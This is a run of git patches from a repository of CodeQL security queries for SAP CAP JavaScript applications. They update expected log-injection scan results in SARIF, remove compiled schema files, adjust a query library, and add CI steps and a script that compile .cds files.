-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 11,
-                  "startColumn" : 16,
-                  "endColumn" : 29
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "\"CAP:\" + book"
+                "text" : "{ messageToPass }"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-log-injection",
-      "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 1
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 18,
-            "startColumn" : 47,
-            "endColumn" : 48
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "e05b39891dddd161:1",
-        "primaryLocationStartColumnFingerprint" : "40"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 24,
-                  "endColumn" : 27
+                  "startLine" : 7,
+                  "startColumn" : 21,
+                  "endColumn" : 34
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 17,
-                  "endColumn" : 20
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 17,
-                  "endColumn" : 25
+                  "startLine" : 9,
+                  "startColumn" : 38,
+                  "endColumn" : 51
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 13,
-                  "endColumn" : 25
+                  "startLine" : 9,
+                  "startColumn" : 36,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "$"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 18,
-                  "startColumn" : 47,
-                  "endColumn" : 48
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "$"
+                "text" : "msg"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 15,
-            "startColumn" : 24,
-            "endColumn" : 27
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-log-injection",
-      "rule" : {
-        "id" : "js/cap-log-injection",
-        "index" : 1,
-        "toolComponent" : {
-          "index" : 1
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 2
-          },
-          "region" : {
-            "startLine" : 25,
-            "startColumn" : 16,
-            "endColumn" : 29
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "4dc77ce4a9b7031e:1",
-        "primaryLocationStartColumnFingerprint" : "9"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 34,
-                  "endColumn" : 54
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req2.params.category"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 23,
+                  "startLine" : 7,
                   "startColumn" : 15,
-                  "endColumn" : 19
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 13,
-                  "endColumn" : 54
+                  "startLine" : 7,
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 25,
-                  "startColumn" : 25,
-                  "endColumn" : 29
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 25,
-                  "startColumn" : 16,
-                  "endColumn" : 29
+                  "startLine" : 9,
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "\"CAP:\" + book"
+                "text" : "messageToPass"
               }
             }
           } ]
@@ -21317,14 +23520,31 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 58
           },
           "region" : {
-            "startLine" : 23,
-            "startColumn" : 34,
-            "endColumn" : 54
+            "startLine" : 6,
+            "startColumn" : 29,
+            "endColumn" : 32
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      }, {
+        "id" : 2,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 56
+          },
+          "region" : {
+            "startLine" : 6,
+            "startColumn" : 33,
+            "endColumn" : 36
           }
         },
         "message" : {
@@ -21350,25 +23570,25 @@
       },
       "metricResults" : [ {
         "rule" : {
-          "id" : "js/summary/lines-of-user-code",
+          "id" : "js/summary/lines-of-code",
           "index" : 101,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
-        "ruleId" : "js/summary/lines-of-user-code",
-        "value" : 2460,
-        "baseline" : 0
+        "ruleId" : "js/summary/lines-of-code",
+        "value" : 2586
       }, {
         "rule" : {
-          "id" : "js/summary/lines-of-code",
+          "id" : "js/summary/lines-of-user-code",
           "index" : 102,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
-        "ruleId" : "js/summary/lines-of-code",
-        "value" : 2460
+        "ruleId" : "js/summary/lines-of-user-code",
+        "value" : 2586,
+        "baseline" : 0
       } ],
       "semmle.formatSpecifier" : "sarif-latest"
     }

From b166ee1f5e4fd5f684cae751e85161eb4005c3ce Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 16:57:03 -0700
Subject: [PATCH 65/86] Untrack `.json` files compiled from `.cds` files

---
 .../db/schema.json                            | 36 -------------------
 .../db/schema.json                            | 36 -------------------
 .../db/schema.json                            | 36 -------------------
 .../db/schema.json                            | 36 -------------------
 .../db/schema.json                            | 36 -------------------
 5 files changed, 180 deletions(-)
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json
 delete mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json
deleted file mode 100644
index 74f9430e3..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json
+++ /dev/null
@@ -1,36 +0,0 @@
-{
-  "namespace": "advanced_security.log_injection.sample_entities",
-  "definitions": {
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json
deleted file mode 100644
index 74f9430e3..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json
+++ /dev/null
@@ -1,36 +0,0 @@
-{
-  "namespace": "advanced_security.log_injection.sample_entities",
-  "definitions": {
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json
deleted file mode 100644
index 74f9430e3..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json
+++ /dev/null
@@ -1,36 +0,0 @@
-{
-  "namespace": "advanced_security.log_injection.sample_entities",
-  "definitions": {
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json
deleted file mode 100644
index 74f9430e3..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json
+++ /dev/null
@@ -1,36 +0,0 @@
-{
-  "namespace": "advanced_security.log_injection.sample_entities",
-  "definitions": {
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json
deleted file mode 100644
index 74f9430e3..000000000
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json
+++ /dev/null
@@ -1,36 +0,0 @@
-{
-  "namespace": "advanced_security.log_injection.sample_entities",
-  "definitions": {
-    "advanced_security.log_injection.sample_entities.Entity1": {
-      "kind": "entity",
-      "elements": {
-        "Attribute1": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute2": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    },
-    "advanced_security.log_injection.sample_entities.Entity2": {
-      "kind": "entity",
-      "elements": {
-        "Attribute3": {
-          "type": "cds.String",
-          "length": 100
-        },
-        "Attribute4": {
-          "type": "cds.String",
-          "length": 100
-        }
-      }
-    }
-  },
-  "meta": {
-    "creator": "CDS Compiler v4.1.2",
-    "flavor": "inferred"
-  },
-  "$version": "2.0"
-}
\ No newline at end of file

From f86e61306347f00b256096bee30abead5015c660 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 16:57:29 -0700
Subject: [PATCH 66/86] Recognize accompanying .cds files as ".cds.json"

---
 .../cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index f7ba11185..468943688 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -347,7 +347,7 @@ abstract class UserDefinedApplicationService extends UserDefinedService {
    */
   CdlService getCdsDeclaration() {
     exists(CdsFile cdsFile |
-      cdsFile.getStem() = this.getFile().getStem() and
+      cdsFile.getStem() = this.getFile().getStem() + ".cds" and
       cdsFile.getParentContainer() = this.getFile().getParentContainer() and
       result.getFile() = cdsFile
     )

From 7518e3a547ee7eebe1152373e1ef545baebb633b Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 16:58:44 -0700
Subject: [PATCH 67/86] Update the script to compile `.cds` files

---
 scripts/compile-all-cds-in-directory.sh | 16 ++++++++++++++++
 scripts/create-db-with-cds.sh           |  9 +++++++--
 2 files changed, 23 insertions(+), 2 deletions(-)
 create mode 100644 scripts/compile-all-cds-in-directory.sh

diff --git a/scripts/compile-all-cds-in-directory.sh b/scripts/compile-all-cds-in-directory.sh
new file mode 100644
index 000000000..9482c7faa
--- /dev/null
+++ b/scripts/compile-all-cds-in-directory.sh
@@ -0,0 +1,16 @@
+#!/bin/bash
+# !!!!!!! Run it at the root of a CAP application, where its package.json is !!!!!!!
+
+# Ensure that we have the `cds` command
+if ! command -v cds &> /dev/null
+then
+    npm install -g @sap/cds
+fi
+
+# Compile all .cds files to .json
+for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
+do
+    cds compile $cds_file \
+        -2 json \
+        -o "$cds_file.json"
+done
diff --git a/scripts/create-db-with-cds.sh b/scripts/create-db-with-cds.sh
index ded467ae0..ab9334507 100644
--- a/scripts/create-db-with-cds.sh
+++ b/scripts/create-db-with-cds.sh
@@ -4,6 +4,12 @@
 # Remember current directory
 TEST_DIR=$(pwd)
 
+# Ensure that we have the `cds` command
+if ! command -v cds &> /dev/null
+then
+    npm install -g @sap/cds
+fi
+
 # Loop over all the directories in the test directory
 for dir in *; do
     # Change to the directory
@@ -19,7 +25,7 @@ for dir in *; do
     export LGTM_INDEX_FILTERS=include:**/*.json
 
     # Compile all .cds files to .json
-    for cds_file in $(find . -type f \( -iname '*.cds' \) -print  ); do cds compile $cds_file -2 json -o "$(dirname $cds_file)/$(basename $cds_file .cds).json"; done
+    ./compile-all-cds-in-directory.sh
 
     # Create CodeQL database
     codeql database create $FOLDER_NAME --language=javascript --overwrite
@@ -29,4 +35,3 @@ for dir in *; do
 done
 
 echo "Done!"
-

From d393a1d31c508756a43d7e1e00b0a0c6ee95a027 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 17:02:24 -0700
Subject: [PATCH 68/86] Update workflow files to ensure presence of `cds` shell
 command

It also trims whitespaces.
---
 .github/workflows/code_scanning.yml           | 41 ++++++++++++----
 .../run-codeql-unit-tests-javascript.yml      | 47 ++++++++++++++-----
 2 files changed, 69 insertions(+), 19 deletions(-)

diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml
index 26584b84a..65305ce79 100644
--- a/.github/workflows/code_scanning.yml
+++ b/.github/workflows/code_scanning.yml
@@ -8,9 +8,10 @@ on:
     branches: [ "main" ]
   schedule:
     - cron: '39 12 * * 2'
-    
+
 env:
   LGTM_INDEX_XML_MODE: all
+  LGTM_INDEX_FILTERS: "include:**/*.json"
 
 jobs:
   analyze:
@@ -43,20 +44,45 @@ jobs:
         config-file: ./.github/codeql/codeql-config.yaml
         debug: true
 
+    - name: Ensure presence of cds shell command
+      run: |
+        if ! command -v cds &> /dev/null
+        then
+          npm install -g @sap/cds
+        fi
+
+    # Compile .cds files to .cds.json files.
+    - name: Compile CAP CDS files
+      run: |
+        cd javascript/frameworks/cap/test/queries/test/queries/
+        TEST_DIR=$(pwd)
+        for dir in */
+        do
+          cd $dir
+          npm install
+          for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
+          do
+            cds compile $cds_file \
+              -2 json \
+              -o "$(dirname $cds_file)/$cds_file.json"
+          done
+          cd $TEST_DIR
+        done
+
     - name: Perform CodeQL Analysis
       id: analyze
       uses: github/codeql-action/analyze@v3
-    
+
     - name: Setup Python
       uses: actions/setup-python@v5
       with:
-        python-version: '3.10' 
-   
+        python-version: '3.10'
+
     - uses: actions/cache@v4
       with:
         path: ~/.cache/pip
         key: ${{ runner.os }}-pip
-        
+
     - name: Validate results
       continue-on-error: true
       id: validate
@@ -66,7 +92,7 @@ jobs:
         sarif diff ${{ steps.analyze.outputs.sarif-output }} .github/workflows/javascript.sarif.expected -o sarif-diff.json
         cat sarif-diff.json
         ! grep -q "[1-9]" sarif-diff.json
-        
+
     - name: Upload sarif change
       if: steps.validate.outcome != 'success'
       uses: actions/upload-artifact@v4
@@ -75,10 +101,9 @@ jobs:
         path: |
           sarif-diff.json
           ${{ steps.analyze.outputs.sarif-output }}
-    
+
     - name: Unexpected Code Scanning results
       if: steps.validate.outcome != 'success'
       run: |
         cat sarif-diff.json
         echo "::error::Unexpected Code Scanning results!" && exit 1
-      
diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml
index ac7f5605a..0ce7504f1 100644
--- a/.github/workflows/run-codeql-unit-tests-javascript.yml
+++ b/.github/workflows/run-codeql-unit-tests-javascript.yml
@@ -51,7 +51,7 @@ jobs:
         with:
           qlt-version: 'latest'
           add-to-path: true
-          
+
       - name: Install CodeQL
         id: install-codeql
         shell: bash
@@ -61,13 +61,13 @@ jobs:
           echo "-----------------------------"
           echo "CodeQL Home: $QLT_CODEQL_HOME"
           echo "CodeQL Binary: $QLT_CODEQL_PATH"
-          
+
       - name: Verify Versions of Tooling
         shell: bash
         run: |
           echo -e "Checking CodeQL Version:"
           $QLT_CODEQL_PATH --version
-                     
+
           echo -e "Checking QLT Version:"
           echo "QLT Home: ${{ steps.install-qlt.outputs.qlt-home }}"
           qlt version
@@ -77,6 +77,31 @@ jobs:
         run: |
           qlt query run install-packs
 
+      - name: Ensure presence of cds shell command
+        run: |
+          if ! command -v cds &> /dev/null
+          then
+            npm install -g @sap/cds
+          fi
+
+      # Compile .cds files to .cds.json files.
+      - name: Compile CAP CDS files
+        run: |
+          cd javascript/frameworks/cap/test/queries/test/queries/
+          TEST_DIR=$(pwd)
+          for dir in */
+          do
+            cd $dir
+            npm install
+            for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
+            do
+              cds compile $cds_file \
+                -2 json \
+                -o "$(dirname $cds_file)/$cds_file.json"
+            done
+            cd $TEST_DIR
+          done
+
       - name: Run test suites
         id: run-test-suites
         env:
@@ -89,13 +114,13 @@ jobs:
 
         shell: bash
         run: >
-          qlt test run execute-unit-tests  
+          qlt test run execute-unit-tests
           --codeql-args "--threads=0 --strict-test-discovery"
-          --num-threads 2 
-          --language javascript 
-          --runner-os $RUNNER_OS 
+          --num-threads 2
+          --language javascript
+          --runner-os $RUNNER_OS
           --work-dir $RUNNER_TMP
-            
+
       - name: Upload test results
         uses: actions/upload-artifact@v2
         with:
@@ -119,12 +144,12 @@ jobs:
         with:
           qlt-version: 'latest'
           add-to-path: true
-        
+
 
       - name: Collect test results
         uses: actions/download-artifact@v2
 
       - name: Validate test results
-        run: |          
+        run: |
           qlt test run validate-unit-tests --pretty-print --results-directory . >> $GITHUB_STEP_SUMMARY
-          qlt test run validate-unit-tests --results-directory . 
+          qlt test run validate-unit-tests --results-directory .

From abc1942a6b1725d85c8d27248e00dd4592f1ce49 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 17:11:19 -0700
Subject: [PATCH 69/86] Debug `Compile CAP CDS files` step

---
 .github/workflows/code_scanning.yml                    | 2 +-
 .github/workflows/run-codeql-unit-tests-javascript.yml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml
index 65305ce79..0f6e0c1b5 100644
--- a/.github/workflows/code_scanning.yml
+++ b/.github/workflows/code_scanning.yml
@@ -54,7 +54,7 @@ jobs:
     # Compile .cds files to .cds.json files.
     - name: Compile CAP CDS files
       run: |
-        cd javascript/frameworks/cap/test/queries/test/queries/
+        cd javascript/frameworks/cap/test/queries/
         TEST_DIR=$(pwd)
         for dir in */
         do
diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml
index 0ce7504f1..768ab0b44 100644
--- a/.github/workflows/run-codeql-unit-tests-javascript.yml
+++ b/.github/workflows/run-codeql-unit-tests-javascript.yml
@@ -87,7 +87,7 @@ jobs:
       # Compile .cds files to .cds.json files.
       - name: Compile CAP CDS files
         run: |
-          cd javascript/frameworks/cap/test/queries/test/queries/
+          cd javascript/frameworks/cap/test/queries/
           TEST_DIR=$(pwd)
           for dir in */
           do

From 79fab0d566be9c7b61e226246d467d9d86bd61de Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 17:21:18 -0700
Subject: [PATCH 70/86] Remove `npm install` command from both workflows

---
 .github/workflows/code_scanning.yml                    | 1 -
 .github/workflows/run-codeql-unit-tests-javascript.yml | 1 -
 2 files changed, 2 deletions(-)

diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml
index 0f6e0c1b5..d9d03d335 100644
--- a/.github/workflows/code_scanning.yml
+++ b/.github/workflows/code_scanning.yml
@@ -59,7 +59,6 @@ jobs:
         for dir in */
         do
           cd $dir
-          npm install
           for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
           do
             cds compile $cds_file \
diff --git a/.github/workflows/run-codeql-unit-tests-javascript.yml b/.github/workflows/run-codeql-unit-tests-javascript.yml
index 768ab0b44..c1d2a57c3 100644
--- a/.github/workflows/run-codeql-unit-tests-javascript.yml
+++ b/.github/workflows/run-codeql-unit-tests-javascript.yml
@@ -92,7 +92,6 @@ jobs:
           for dir in */
           do
             cd $dir
-            npm install
             for cds_file in $(find . -type f \( -iname '*.cds' \) -print)
             do
               cds compile $cds_file \

From c4bc8599bbf402d95df5f531794b412c2feafe82 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 20 Mar 2024 17:29:11 -0700
Subject: [PATCH 71/86] Update code_scanning.yml

---
 .github/workflows/code_scanning.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/code_scanning.yml b/.github/workflows/code_scanning.yml
index d9d03d335..c001bbeb3 100644
--- a/.github/workflows/code_scanning.yml
+++ b/.github/workflows/code_scanning.yml
@@ -48,7 +48,7 @@ jobs:
       run: |
         if ! command -v cds &> /dev/null
         then
-          npm install -g @sap/cds
+          npm install -g @sap/cds-dk
         fi
 
     # Compile .cds files to .cds.json files.

